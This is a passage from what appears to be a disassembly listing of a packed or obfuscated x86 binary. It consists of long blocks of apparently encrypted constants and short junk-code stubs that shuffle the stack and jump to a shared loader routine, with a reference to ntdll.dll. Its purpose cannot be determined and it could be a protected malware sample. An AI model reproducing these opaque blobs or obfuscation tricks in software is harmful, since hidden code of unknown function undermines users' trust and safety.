466B084Ah, 0AA09B8E1h dd 268A2BACh, 5D03DA2Fh, 0D253B8EFh, 6053CB0Ch, 0E827664Eh dd 7B1FCE66h, 0EB00000Ch, 1CE6B265h, 946E3ADBh, 18E2B667h dd 966C38D9h, 45E3B764h, 9F3CBEC4h, 1EBD31CBh, 9344B04Ah dd 19B83DC7h, 0C775E74Dh, 1D46C6EDh, 6D65CC40h, 0ECE549E8h dd 90AD819Dh, 0D5791C53h, 236F94B9h, 93217F13h, 12A64F6Eh dd 0DA77FA34h, 0F6441A76h, 11662EFEh, 314AE971h, 0BA39F7A9h dd 0FB84525Ah, 0F4987A76h, 93C00EA0h, 8A5923A3h, 137F7797h dd 9045B6B0h, 12BF363Ch, 9B62B7BEh, 522877C5h, 831B0CCCh dd 2D7888B0h, 0C514BCE8h, 0BEAh, 1541F67Ah, 0E1B568EFh dd 7125D81Bh, 0FFAB468Bh, 7226D505h, 0A92955D4h, 32A45E0Ah dd 0AD2FD581h, 31A45E0Ah, 0EC7ED480h, 46C8665Eh, 0FC55D91Dh dd 0A649D039h, 0AF1D63F0h, 1DDAB482h, 0DD7E6E9Ch, 4BE792DBh dd 306E3742h, 0BD435D82h, 9CC85012h, 1642EF66h, 9DC39AEFh dd 0DA182153h, 95F95539h, 30FE6436h, 0DCB01CBDh, 10F9057Fh dd 10880CBDh, 0A253804Eh, 2ECF0CF6h, 94458882h, 1DE83138h dd 0F143D943h, 0B7CEFFBh, 0F75D64Eh, 6E2F8E0h, 10C134FAh dd 0E608FC4Eh, 0E37B0592h, 90A33B40h, 0EE16D27Ah, 3FF3228Ah dd 0AF00000Bh, 0D8227629h, 48B2E697h, 0C43E6A0Bh, 4AB0E495h dd 993F6B08h, 4BE86A18h, 0C271E51Fh, 4FF06C96h, 0CD6CE11Bh dd 13A13399h, 1D46C819h, 3949E06Ch, 7893D1D0h, 993A57EEh dd 17BB569Fh, 6C320B1Eh, 0BCD465DEh, 1440D812h, 0E0B469EEh dd 7A24D91Ah, 399546B4h, 0F7AEF655h, 1C421B6Eh, 0BC6465AEh dd 0AC009812h, 6C63E6DAh, 6B72411h, 8132A0AAh, 97C5872Dh dd 0AD441A66h, 79FBDDFDh, 0BE9DEBC6h, 0A8D49635h, 23DAAB5Dh dd 90DB2Eh, 6D820000h, 56970AEAh, 0AB51E33Eh, 0EE616BC7h dd 68E9E34Fh, 0E86F65C9h, 6EBFB507h, 98321756h, 566F522Ah dd 513DA517h, 9C7693Dh, 8F8A29C8h, 4FFDA37Ah, 12BC783Ch dd 706457CFh, 84E23D54h, 0A6CFD2Ch, 78F80000h, 0E66993C7h dd 5A996337h, 0E415EFBBh, 579B6135h, 0D756F0A4h, 0DC882BAFh dd 5703B026h, 0DC882FADh, 5602AF26h, 0E8DC6EFCh, 5B1D46C8h dd 0EA6D7ED7h, 2BB11F4Bh, 5666A399h, 0D08E1617h, 56678A62h dd 0C665FD17h, 571Bh, 0EA6D4200h, 6509A82Dh, 8AB9C0C9h dd 0A2FC9045h, 0BC64BF10h, 0E715DB12h, 70E89330h, 3D555943h dd 0D405ADE2h, 9FAh, 6531E66Ah, 0F1A5589Fh dd 4115C80Bh, 0CF9B36BBh, 4216C535h, 0D91965E4h, 62946E3Ah dd 0DD1FE5B1h, 61946E3Ah, 0DC4EE4B0h, 46CA966Eh, 0CC65E91Dh dd 0E549E86Dh, 67CB66EFh, 98E51755h, 340E3CF0h, 1FE1Ch dd 65244500h, 45A2376h, 0BC7CFDB6h, 0B268F012h, 0D7B3D908h dd 0BA8396DEh, 0A6B556E4h, 0D048193Ah, 5924757Ch, 0B5079D07h dd 17EA93BFh, 7309AA32h, 134FF71Dh, 9C3FB779h, 35BA443Fh dd 7CB2EC80h, 9EF25EFFh, 0E57A72C0h, 55CD11FCh, 0E36AA4F6h dd 55986236h, 0D38F97A4h, 0CB63E1ACh, 9551Ah, 0E88FC100h dd 6C1146BCh, 0EC91C238h, 620F42B8h, 0ED8ECC36h, 0E49E1FB9h dd 6B91C576h, 9E6430E3h, 17EDB95Eh, 0CD6733DEh, 0CA17ED5Fh dd 0E66A1D46h, 11A3394Fh, 1756671Bh, 5355F66Eh, 38DB1F1Ch dd 22900A54h, 1756674Ah, 268625BDh, 5D03DA2Fh, 0A6349DEFh dd 0AE2ED012h, 81182409h, 0A4051EE1h, 1B5896C8h, 458BD97Ah dd 0CC366211h, 4C45E98Ah, 8C3E603Dh, 0CCBA27Fh, 522A9832h dd 0A50B7BA2h, 0C10F513Dh, 40BAEE8Dh, 0CBC16D0Eh, 0EE4D782h dd 26E82E17h, 8BC5F8Eh, 0A8280000h, 1659A3F7h, 8AC93367h dd 1445BFEBh, 87CB3165h, 0A72680D4h, 0ACF89BDFh, 27732056h dd 0ACF89FDDh, 26721F56h, 0D8AC1E8Ch, 2B1D46CAh, 17450EA7h dd 66D495D9h, 1756678Eh, 0B91579E1h, 300C76D5h, 0A4175667h dd 0D0D5EA1Ah, 6CA2FCC9h, 0BCEE4DEEh, 0B667E826h, 0AFD5761Ah dd 12BC469Ch, 27E9B72Fh, 0AC5501B4h, 0C673E65Dh, 44E889CCh dd 0A81A4428h, 0CD0907Dh, 108AD44Ch, 6186EAF9h, 9536E0ACh dd 3F8D5A93h, 0B802045h, 90E796C5h, 0CA306408h, 19E5D683h dd 2DE82999h, 81C5485h, 48880000h, 0B639C397h, 2AA95307h dd 0B425DF8Bh, 27AB5105h, 7862074h, 0C58FB7Fh, 87D380F6h dd 0C58FF7Dh, 86D27FF6h, 380CBE2Ch, 8B1D46CBh, 1F11AE07h dd 0EF175667h, 714BF966h, 0C4175667h, 9D64305Ch, 5DEFB18Ch dd 12BC2B8Ah, 0B57B25BDh, 54CE9047h, 6C1B0EE6h, 5AF96111h dd 0DB7CF802h, 7B8A677h, 6EFF0000h, 0AE1C421Bh, 12BC644Dh dd 0E29438A0h, 116C640Eh, 0ADB8246Ah, 2E2435DBh, 1812Bh dd 0EF6D7200h, 97D81648h, 2C264AE6h, 0CFA30FB0h, 90C6CC6Ch dd 9527BDE3h, 1756669Fh, 89298A12h, 2F9D4A83h, 17566755h dd 0F05C30A8h, 26F160AEh, 0C0AC00B5h, 0CF6C00ACh, 80D48BC9h dd 0E945FA7Ah, 91CFA6E0h, 56675123h, 0A2FC6417h, 2ABB834Bh dd 51F22D5Ah, 0DB76FBF1h, 58FF7D77h, 0EA1AA4F4h, 0B7259BCBh dd 97C374E0h, 0E448EF6Dh, 56A96692h, 54803E17h, 36621547h dd 0B0EEC7CFh, 0B3A51859h, 35968AECh, 39D7D567h, 0D42A1757h dd 3458F4A5h, 78FEF458h, 0EF218FDBh, 965C96Ch, 892AACAAh dd 86927B25h, 0ECD5CFF7h, 4D808625h, 0EE5000ACh, 0A2846D7Eh dd 0A5540F81h, 7B115367h, 99FB7156h, 19BA3C3Ah, 0A23EAE47h dd 947CE29Fh, 61956F37h, 0AC22ECB2h, 0E74BEA69h, 274BE78Bh dd 0A60AA92Dh, 97C969CAh, 0CBC5BF0Dh, 0A0381756h, 0D57623AAh dd 0A2FCC9D0h, 0BCB23310h, 8ADE4612h, 0B73BFE70h, 0A8C4A804h dd 2C090D04h, 0A1E8C072h, 825B116Ch, 0B88E2827h, 903C5082h dd 0CA0559Ah, 8F23D006h, 0C2F361DFh, 0FBC02C92h, 8C31A673h dd 1E8C60D2h, 67FF116Dh, 31A55F0Bh, 0D2272E82h, 1CF550Bh dd 0DE3E6DD3h, 0C440369Dh, 0DA710BA8h, 440CD361h, 4F986CDEh dd 41EB0B83h, 834EF9F3h, 0B8D44C0Bh, 0F8B9601Bh, 9085D327h dd 0D65B3ACCh, 0DFCF37FBh, 0D91DE7B3h, 68946E3Ah, 834DE3B7h dd 6E02AE51h, 1B6E68CDh, 66EAC270h, 0A35D1756h, 8EE28E31h dd 4ECD62D0h, 38A012BCh, 1FAD8F66h, 0B62670Ch, 0CD0208A8h dd 6E257C28h, 92E44821h, 1756669Eh, 458A441Ah, 0D0623C90h dd 175666DCh, 85DBB72Fh, 56673D37h, 8B28B017h, 0A6529BC9h dd 0D6340E39h, 27h, 4BEA6D8Fh, 669B91E7h, 77C91756h, 9C41B605h dd 47BA4EC8h, 0C8961756h, 450CE052h, 0E77F1756h, 0FFAD9944h dd 39C0FFFFh, 671B11A3h, 0F5471756h, 175666FFh, 59DEA72h dd 8C2DA0A6h, 6E62CB25h, 0BA82E21h, 6A33CE67h, 0E054523h dd 674BA37h, 3695F955h, 2B6Fh, 216E3600h, 99D81648h, 9B3854F8h dd 0B18B393Eh, 4175666h, 5439359Ch, 0CB79EA6Dh, 175666F1h dd 19B0DC44h, 2BB6DDA0h, 0EF000000h, 0E148216Eh, 66B18B39h dd 91311756h, 6D543938h, 0DAC2DEAh, 0FFA1CDA1h, 0BF13C231h dd 0A0D570D3h, 6CBFC32Ah, 9FAECF06h, 0EE6D993Ch, 9F95E34Fh dd 35175666h, 1142598Bh, 78BE386Ch, 5C17566Bh, 0FFF4568Dh dd 0F739D4FFh, 5B51E384h, 0AE175667h, 0FFF95A36h, 6891C578h dd 0A81A4421h, 12BC6487h, 0A556847Ah, 238F2AAFh, 0D18F234Fh dd 52759C38h, 9B527F1Ch, 0BAC06345h, 116C62C6h, 44F66C32h dd 116C6370h, 0B7055BC3h, 116C62BDh, 490BA830h, 3926D21Bh dd 0B45D2E24h, 76ACCE5Dh, 0E0B91A21h, 11h, 84F739B9h, 0FD9144B7h dd 439E3D51h, 1, 7FF7391Ah, 0F1A6D6DCh, 9792315Dh, 2BE5BB82h dd 4BEA6DA6h, 4BE78BE7h, 64D68427h, 12BC78BFh, 0EE742AB2h dd 0A00CAD20h, 55C2BACCh, 0AD35116Ch, 33A4AE0Eh, 6750D682h dd 0E7116C56h, 6A42F075h, 0A0116C56h, 4E228E2Fh, 99CDA139h dd 0CE7CF163h, 116C55F6h, 11BDD149h, 0A3ED5452h, 35EA6A31h dd 0A7529B61h, 0E594D9C3h, 0A6599B81h, 0C412270Ah, 4D8BBDE5h dd 0C16D1047h, 9ABB296Bh, 6338A4FAh, 0F0954FEAh, 8E055523h dd 0A543AA35h, 0A1450C85h, 9CEFB615h, 0B6000000h, 0E44D286Eh dd 66B48B39h, 92321756h, 6AD0393Bh, 929ED77Eh, 0F499CB68h dd 3943B729h, 70D37EF7h, 0A513FF76h, 33552CE2h, 19D789E5h dd 0E58925D4h, 62CBE346h, 0E148216Eh, 45236A33h, 0B1370E05h dd 3Ch, 0CC9DD11Fh, 5667867Eh, 0D61F914h, 670BE153h, 0E67E1456h dd 216EE045h, 8B39E148h, 175666B1h, 0EE60AE04h, 67413B4Dh dd 2CB41756h, 5439E940h, 0E24BEA6Dh, 16B6DDA0h, 0EF000000h dd 0E148216Eh, 66B18B39h, 91311756h, 6D543938h, 0A0E24BEAh dd 0FF52B6DDh, 39EFFFFFh, 71DD80F7h, 35B8BE1Dh, 0AB222884h dd 2014A63Ch, 93175667h, 67877D0Bh, 62FA1756h, 9A36E768h dd 37CE9AF6h, 0F7451BE2h, 12BC75A8h, 0D9AF039Bh, 116C52E7h dd 0AF03AE27h, 5DC232A5h, 932E48Ch, 3A1EB2DEh, 2BA3F864h dd 24482488h, 9FE61658h, 2E236CE9h, 3E15h, 9321BB00h, 116B8E99h dd 72D774ECh, 1C421B6Eh, 0BC48B5AEh, 8ED04812h, 0C1621340h dd 38211761h, 0C19F116Ch, 3813E95Bh, 9866116Ch, 7915B95Ah dd 88F4B615h, 240A8B7Dh, 0E0FB2Eh, 6DA20000h, 0EFE549E8h dd 6E64C86Bh, 0B8E64AE7h, 0FA560376h, 0B2DE7FF0h, 33DE1711h dd 6343E167h, 24B1756h, 74F90357h, 27559BC5h, 13B0DC70h dd 966FBAB3h, 5EDD7AC8h, 89012BCh, 867ECC56h, 0F9116C5Ch dd 349AC261h, 6485D5DDh, 55F62DEAh, 227C4950h, 0CFFBC490h dd 0B6049E0Ch, 0B7ECABEh, 710AA931h, 0CB9369DBh, 7EE60B7Eh dd 51824C12h, 0CF6C00ACh, 4E1F539Dh, 7ECB08FCh, 57857B0Bh dd 0C600CA0h, 8CCE3460h, 0EDF2DCEFh, 0A20AE82Ah, 23173h dd 843BBD00h, 0F0A52AD0h, 781D5EA4h, 0F6A3D62Ch, 791A58A2h dd 780A8B2Dh, 0F70D59FAh, 7288DC7Fh, 0F3095D02h, 218BDF7Ah dd 0D12B01B3h, 129E1D46h, 6DA339BBh, 413B4DECh, 0B4175667h dd 49898F2Ch dd 9E50FEAAh, 7A16BA57h, 0FB96DFD9h, 1B6EF6AFh, 7F51C42h dd 49258AB9h, 8E3C6ECDh, 12BD3895h, 6A1CB028h, 116D2896h dd 2F40ACE2h, 43F172E1h, 116D2869h, 222844DCh, 0E8A003B0h dd 2E24FA20h, 22E38E67h, 0E3CE6DEDh, 10B35D2Bh, 0B849h dd 0E86D1000h, 52BBE549h, 9B9B4C32h, 0BD403240h, 2A48C049h dd 6FE3E546h, 0D73E60CCh, 45EEDF5Fh, 0DB361422h, 69E5A19Bh dd 20DCA605h, 6E1756BFh, 0E41E4AE7h, 656CC071h, 0A5174914h dd 12BCBA2Ah, 0E81145DDh, 7044F6A1h, 0C3116CB7h, 0B71BBA3Dh dd 85DBB7DBh, 0D10D0437h, 712FB70Ch, 0CC983BBFh, 2417C436h dd 0E829DD64h, 338150F8h, 0A3000001h, 24DE8A2Dh, 0AC5602B3h dd 20DA8E2Fh, 0AE5400B1h, 7DDB8F2Ch, 0A75486FCh, 16C509F3h dd 9B3CB842h, 11C035CFh, 0CF7DEF45h, 1D46D1F5h, 6D6DC448h dd 0E01A4EEDh, 892CC6Dh, 5666C2BAh, 6AEC3517h, 0CA6AC7D1h dd 0EBB3107Ch, 8E86DB2h, 0E8E315C6h, 7AF8F215h, 751975D9h dd 0B4987D9h, 0BF13C032h, 1913BFD3h, 0E58925D4h, 0AC4F8389h dd 15C4090Fh, 9471B841h, 924B78CAh, 66FE12BCh, 0D27FF638h dd 58F97C86h, 0D1ACFDF4h, 61D73D8Fh, 72EA0CBCh, 2D7A9B41h dd 9243EBE8h, 96h, 792DD206h, 0FDA94C83h, 7521D407h, 0FBAF4A8Fh dd 7622D101h, 0AD2D51D0h, 2EA05A0Eh, 0B123D98Dh, 2DA05A0Eh dd 0E072D88Ch, 46D35A52h, 8821AD1Dh, 1B11A339h, 13175667h dd 0F39F33DEh, 0BABF1C84h, 7AC8966Fh, 12A6367Ah, 0F3F955CDh dd 718BDF7Ah, 87F15DFCh, 6984126Ch, 0F8BF2D27h, 6A90C475h dd 909A36E3h, 0F1A6D661h, 0DF61319Dh, 674BAADh, 15A7F955h dd 9944101Fh, 0C5660A92h, 0BBEF8AC3h, 0C16D0C41h, 181D519Fh dd 0FA963ADBh, 3E83596h, 0B1000000h, 0EB6DA508h, 5B929834h dd 0DC1812BEh, 599D973Bh, 0DE1C16BAh, 579B913Dh, 0CF0208A4h dd 57848E22h, 0CF000AA6h, 68E9822Eh, 147Eh, 51241C89h dd 0C181E189h, 4, 8704E983h, 895C240Ch, 89502434h, 405E0h dd 42D0000h, 87000000h, 895C2404h, 0BA522404h, 77C63AE0h dd 6628BE56h, 0F2312503h, 81D2F75Eh, 4A4F64EAh, 5AD689A7h dd 24048B54h, 8304C483h, 348904ECh, 8408F24h, 582434FFh dd 8B04C483h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- db 0B7h dd 0DC31B9E0h, 88306410h, 3288BC26h, 26B8D9C7h, 305F06Dh dd 85C650C5h, 5EA1A45h, 17256847h, 0B5FFCF38h, 5EA1D45h dd 3969858Dh, 0D0FF05EAh, 858DD88Bh, 5EA20FDh, 1046850h dd 0D3FF0000h, 1A4585C6h, 685305EAh, 8307F8BFh, 1D45B5FFh dd 858D05EAh, 5EA3969h, 8589D0FFh, 5F051B4h, 29F5BD83h dd 0F0005EAh, 0B84h, 0BD9D8B00h, 0E905EA2Ah, 5, 0BBh, 1006800h dd 0B58D0000h, 5F051B8h, 95FF5356h, 5EA0D25h, 51B8B58Dh dd 0F00305F0h, 1E9h, 3E804E00h, 9840F5Ch, 80000000h, 850F2F3Eh dd 0FFFFFFEDh, 8D0006C6h, 0F051B885h, 95FF5005h, 5F051B4h dd 67E0FF58h, 0E959872Fh, 892062E7h, 0AE301EDDh, 8624659Ah dd 2C590005h, 83385527h, 2432E5BEh, 0ED4B36C6h, 0F92A65C8h dd 9D7CE319h, 1D4D5319h, 0C8655EEDh, 46162B8h, 0CD702A95h dd 8D1EF708h, 0A319C50Dh, 20496363h, 7B1CDD62h, 0F52242E2h dd 6907013Fh, 0BD437691h, 0FA575E69h, 9D52E8AAh, 802B6E7Ah dd 8278370h, 8D571BB1h, 0F06F728Dh, 61952B05h, 8B05EA08h dd 0EA0CBDB5h, 0DD8D8905h, 0E905EA0Ah, 0Eh, 0F186BD9Dh dd 692BB5C5h, 4979305Bh, 85C75F25h, 5EA0ACDh, 5D8Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 16C35343h, 85230914h dd 5EA2E5Dh, 25F585C7h, 5EAh, 8D890000h, 5EA0AEDh, 0E8E78166h dd 29B5FF2Ch, 6605EA0Ch, 51CCE281h, 2A1995FFh, 6A05EAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 9D01C4C3h, 5EA1D89h, 95FF006Ah, 5EA1015h, 6AEBC08Bh dd 34986F29h, 807FD7CEh, 1A8F279Ah, 3495DB3Dh, 2D523235h dd 63E9B15Dh, 778AB247h, 0C792777Eh, 2928E679h, 56DD1992h dd 6CFF3C0Ch, 9E28C5D2h, 0D3E5DBEDh, 914E07EEh, 675CC060h dd 3EA26276h, 168FD1Ch, 86A21A52h, 0DD4E9BA8h, 0E57DE5E5h dd 0DA093F45h, 4259C6FDh, 7C082FE8h, 39C3C8A2h, 147EC2D1h dd 9921E551h, 11E85D7Ch, 33000000h, 0A4D7FD45h, 0F1237AB0h dd 4B02ED8h, 0F1363CF5h, 66D7B160h, 613A67BEh, 0F1BD8B5Bh dd 8105EA2Eh, 6B01C3h, 0CF78100h, 2B66CBCDh, 7FCD80D2h dd 0E81A34FFh, 7, 0AD435BD2h, 0BBD5C56h, 0EA004185h, 0BF5E5805h dd 1651D6EAh, 0E30FC681h, 13E96F80h, 0D8000000h, 4A34B445h dd 0DF8ED402h, 8815C9Ah, 1D69950Eh, 0EE8149BCh, 50A09197h dd 7B4EFCBFh, 0E1EE8101h, 8B0C3E7Fh, 0EA0101BDh, 13348905h dd 2BC78166h, 8B6660C5h, 0C28B66F2h, 61EA8161h, 667EB635h dd 0C281C68Bh, 7EB6355Dh, 0FC58D8Bh, 0FA8105EAh, 0FFFF95B0h dd 0FF7E850Fh, 0C18BFFFFh, 0DE8h, 7069BE00h, 0B96FF06Eh dd 8AFCEF96h, 9D09FA11h, 5EA104Dh, 0FFB70F58h, 65AFC081h dd 0BE660000h, 0BA29B0h, 60000000h, 12E8h, 54117C00h, 97C7E005h dd 887F0F69h, 65FF0B7Fh, 8114721Eh, 3E9CB9EEh, 0BD895968h dd 5EA0BF9h, 101C8B61h, 86E68166h, 7C38168h, 813B69DBh dd 36DDABCFh, 0EBC38115h, 81691605h, 14140EC3h, 0B9665018h dd 895950D3h, 7E9101Ch, 0A8000000h, 6072F267h, 0BE66869Bh dd 0EA8358C5h, 0E4FA8104h, 0FFFFF9Ah, 0FFFFB885h, 0CA8B66FFh dd 0CE8h, 8FCB4900h, 22F12DFEh, 1A7ED09Ch, 7E806h, 0BEAC0000h dd 0E98A8435h, 7E916h, 0CC2B0000h, 3D90A234h, 81585909h dd 70C9C0h, 0BED38A00h, 1C0Ch, 8BD1B70Fh, 9598B938h, 0C7811BCCh dd 5E9B22Dh, 811DC180h, 77CD6DC7h, 6E939h, 17960000h, 82C85B21h dd 0D7B7F781h, 0B70F4939h, 850F57DFh, 3, 8F77E280h, 28F0F00h dd 8B000000h, 1E883D3h, 31484848h, 0EA256585h, 1EE8105h dd 0F000000h, 0FFFFAA85h, 5E8FFh, 5220000h, 2912CAAEh dd 0EA0919BDh, 26EB5B05h, 33B61B90h, 558EAFECh, 6C64746Eh dd 6C642E6Ch, 2188006Ch, 5D340746h, 5F55A3D2h, 505Ah, 0 dd 83E90000h, 68000006h, 5F07313h, 0FA0C69E9h, 73F768FFh dd 5FE905F0h, 68FFFA0Ch, 5F0747Fh, 0FA0C55E9h, 756568FFh dd 4BE905F0h, 68FFFA0Ch, 5F07631h, 0FA0C41E9h, 770268FFh dd 37E905F0h, 2FFFFA0Ch, 58A2F6A9h, 0C8326617h, 44BEEA8Bh dd 0CA306415h, 19BFEB88h, 0CB68EA98h, 42F1659Fh, 0CF70EC16h dd 4DEC619Bh, 9321B319h, 1D46D899h, 0B6C960ECh, 24h, 8E86DEFh dd 8B438666h, 933F53F1h, 0FE557CDh, 6217570Fh, 165F59FAh dd 0D7A92F7Bh, 5717570Eh, 7F267225h, 1C421B6Eh, 0BC77FDAEh dd 0E017D912h, 0F7FD913Dh, 0B70D37Eh, 77493F93h, 0C1116C55h dd 68105D8Fh, 942E2427h, 217h, 84F739CDh, 253D72D1h, 540AD326h dd 0BC7D4DE6h, 62B82012h, 1BB83EF0h, 278DBB7h, 0CD8EA7FDh dd 0BCE2BBCEh, 0A3B65D0Eh, 64C85048h, 0D485F43Ah, 5E277277h dd 0F65EB200h, 99142B8h, 0A5549957h, 17C20BF1h, 43F3AB24h dd 38E941B2h, 4C4h, 1145FA7Eh, 0E5B164EBh, 6D39DC1Fh, 0E3B76297h dd 6E3AD919h, 0C53549C8h, 36B84216h, 0A92BD185h, 1558A2F6h dd 89A3064h, 46D9C2BAh, 10B9351Dh, 0AD2FE86Dh, 204CED6Ch dd 208CE08Ch, 0EB63E029h, 0C87A2448h, 12BC738Fh, 0AA643AA2h dd 8BD37025h, 957C2238h, 0CF9D8F2Eh, 6560C3E6h, 0FE174914h dd 5BA02D29h, 1644E757h, 0D0A4168Ch, 23116B70h, 0C96218BBh dd 0BC0CD187h, 0DD44FE24h, 5283F6CFh, 92207E47h, 6E49AEC1h dd 0C074AB4h, 2C402CCDh, 0A5808980h, 12C135FBh, 14493BEh dd 0E3600B0Fh, 0E47E2C8Fh, 8A38A72Ah, 6CF99EB2h, 52F19D05h dd 5F01F828h, 51B82268h, 0C5B1C80Ah, 1FB8DBFh, 5D670C01h dd 0C0115EFh, 87F06867h, 5FC7BC1Fh, 0EB86CF01h, 611045BFh dd 9DD6D352h, 5889218Ch, 3E0h, 0F5A1569Ah, 4115C80Fh, 0D18538BBh dd 5F0BA62Bh, 0D28635A5h, 4989F574h, 0D204FEAAh, 4D8F7521h dd 0D104FEAAh, 4CDE7420h, 46DA06FEh, 5CF5791Dh, 0E549E86Dh dd 9EC09DECh, 0BC7B132Ch, 2A7EE612h, 0A1FFC6D3h, 9686F53Bh dd 262D95Bh, 6AC6AA76h, 0CADFA506h, 790CBBF9h, 0D78B61D3h dd 66FE0B7Bh, 539A540Ah, 0C508F2A6h, 68B1B814h, 9759C39Dh dd 701CB063h, 0DA56A9D3h, 31A906E1h, 180DAD02h, 2D37BEEh dd 358h, 6D39DE12h, 0E9BD6097h, 693DE013h, 0E7B35E93h dd 6A3EDD1Dh, 0C1314DCCh, 3ABC4612h, 0C537CD99h, 39BC4612h dd 0F466CC98h, 46DB6E46h, 0E44DC11Dh, 0E549E86Dh, 9EC09DECh dd 0EB88CA04h, 6D0D3248h, 608912BCh, 72161C4Bh, 0C2B91A43h dd 0E90CE61Bh, 305C97B6h, 1A34564h, 241C0000h, 7E475219h dd 7CD99220h, 4B8512BCh, 88F35003h, 4D804E10h, 63D90FACh dd 0DC8077CDh, 0D5616089h, 8EE8C8h, 8A53A6A3h, 50566D4h dd 0E0781795h, 9E9624BEh, 11164502h, 0D48A2A89h, 5808713Dh dd 20838C87h, 5709D425h, 49E324CDh, 93A27BCEh, 455C0FE5h dd 59FA6216h, 175F910Bh, 7A4C864h, 0AABF2B7Dh, 98C65E11h dd 0ACBCB002h, 970F1057h, 32FC6634h, 0BBBD1EBBh, 29D38732h dd 6BC6F5A4h, 81E3522Ah, 272F829h, 0C8080000h, 36B94317h dd 0AA29D387h, 34A55F0Bh, 0A72BD185h, 8706A0F4h, 8CD87BFFh dd 7530076h, 8CD87FFDh, 652FF76h, 0B88C3EACh, 0B1D46DBh dd 0F7392E87h, 7573D083h, 0F4FD5100h, 0DA38BEA5h, 0C0BEA217h dd 88E48853h, 7A2B64D6h, 0C65E12BCh, 576B7198h, 0EE1B1ED6h dd 98A6154Dh, 0A7F9C4D5h, 0D1BB5E15h, 13C9510Ch, 0E2B2B4A9h dd 11EC3D8Dh, 6C7EA64Fh, 50A6864Fh, 63C8BC0Eh, 0A33B7CA0h dd 83E05200h, 0F6780642h, 529CC26Eh, 0FAF2401Fh, 4D76B63Fh dd 7915B9D5h, 95CADFDAh, 711DB160h, 9FF1431Dh, 0D2721BA2h dd 678E144Ah, 0BD276C54h, 413B4D19h, 0B470C8B7h, 13DD8F2Ch dd 916B3FDAh, 3D8EBD5Ch, 0C382E120h, 1A6BA6Bh, 1C5C0000h dd 0A2D52F7Bh, 1E5DA7F3h, 0A0D12B7Fh, 1B5FA5F1h, 0B8A2C78h dd 1044F77Bh, 0E3B764EAh, 7024DB19h, 0C296438Ah, 7448FA68h dd 0C71D46DDh, 0E86DE24Bh, 9DECE549h, 132C9EC0h, 0E612BC7Bh dd 8824D518h, 72DC88E4h, 3C9F40BCh, 11A33999h, 1756671Bh dd 5055F66Eh, 5DD81A49h, 0BFD37F1Eh, 721FFED3h, 0C68636FEh dd 0E21DF4AAh, 2DABE943h, 4B6E447h, 12A65407h, 0B27C22BAh dd 64CA9E3Bh, 268A27AAh, 6408A92Ch, 0ED8CC1C7h, 64414841h dd 0D081F43Ah, 0FE3B13FDh, 8A29CEE1h, 0A53F6AD8h, 0F00E0CB5h dd 0ECB2DE7Fh, 5A0EAB22h, 95321DF4h, 461F4C99h, 0CF6AE3E5h dd 461F6A63h, 0B979AA18h, 0B24C06DBh, 0C0F39F3Ch, 0EE1E2E89h dd 0D5E2339Bh, 6F000000h, 986236E9h, 8F2A657h, 847E2ACBh dd 0AF0A455h, 0D97F2BC8h, 0BA82A58h, 8231A55Fh, 0FB02CD6h dd 8D2CA15Bh, 53E173D9h, 1D46DE59h, 398920ACh, 671B11A3h dd 0F66E1756h, 3D495055h, 37CB66C0h, 0EDB3DF0Ah, 0A667345Fh dd 0AD20EE12h, 6FCCA00Ch, 2A208C14h, 58A2F6A3h, 0BEC86415h dd 3D0C1EA3h, 6CD9302Ah, 1BB2E7D6h, 0D4A81A44h, 27BBBBB8h dd 2E5E1CBFh, 6135E469h, 5F0126CFh, 5D38B5E8h, 0C475F8FEh dd 42EF6268h, 0D400BEEEh, 0C1BB0993h, 34BBBBD7h, 0C4090FACh dd 63D14B15h, 0BBBBD889h, 9FC764FCh, 0D97CFF31h, 58F97C7Ah dd 0D485C806h, 5DFE9BDEh, 0E86DA3FDh, 1537EA49h, 99000000h dd 0D7BBB103h, 960EBBBBh, 0D8827AC8h, 6DF5BBBBh, 0A5086BCEh dd 9834EB6Dh, 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch dd 8A4579Bh, 8E22CF02h, 0AA65784h, 822ECF00h db 0E9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push 4AAEh mov [esp], edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov edi, 0AC963BFh or edi, 0F780A67h sub edi, 7420515Ch shr edi, 6 push ebp mov ebp, 0FC7EF228h sub edi, ebp pop ebp push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 8 add ecx, ebp mov [ecx], edi pop ecx mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_5488E2 ; --------------------------------------------------------------------------- db 0A9h, 0B8h, 0FCh dd 305F077h, 9BE0FFC5h, 885E6BD4h, 0AB295CA2h, 0E075887Ah dd 6D5469BAh, 4C4513B4h, 0E470E62Ch, 0AE594A79h, 7B6348CBh dd 0B49C9F8h, 4B7CF2C1h, 0E8623431h, 10h, 12236D81h, 6DF7B80Ch dd 33BF1149h, 87B0A7EEh, 0BE95BF5h, 0E3000000h, 9AA01AC8h dd 690231C7h, 0C3814B8Ch, 60EDh, 0A5C98166h, 81D22B64h dd 0CD6500C8h, 1A34FF6Dh, 6A5481B9h, 0D4805E20h, 1AF6815Dh dd 0E87B4B34h, 0Ch, 5D655C1Eh, 0E724ADF9h, 0D341107Fh dd 0EE815FF9h, 7E114205h, 81CACC80h, 0A83E16EEh, 0C9816057h dd 0A6A16E7h, 5661CF8Ah, 6613048Fh, 8B66CF8Bh, 48EA81FAh dd 0F0D5374h, 0C281C7B7h, 0D537444h, 0B8C0Fh, 8D0F0000h dd 5, 0AEE88166h, 0E4FA811Eh, 0FFFFF9Fh, 2085h, 5E900h dd 34A20000h, 0E98649A8h, 1Dh, 21C61574h, 25DA2134h, 0C943D7A2h dd 0C12B2D68h, 0FF67E965h, 0A0EEFFFFh, 0D5AED6EEh, 8EB32h dd 0FB000000h, 0E9242043h, 48Dh, 0F07AA068h, 4C8E905h dd 3C68FFFAh, 0E905F07Bh, 0FFFA04BEh, 0F07C7468h, 4B4E905h dd 28A8FFFAh, 96D92377h, 0A49B3E7h, 94C53F6Bh, 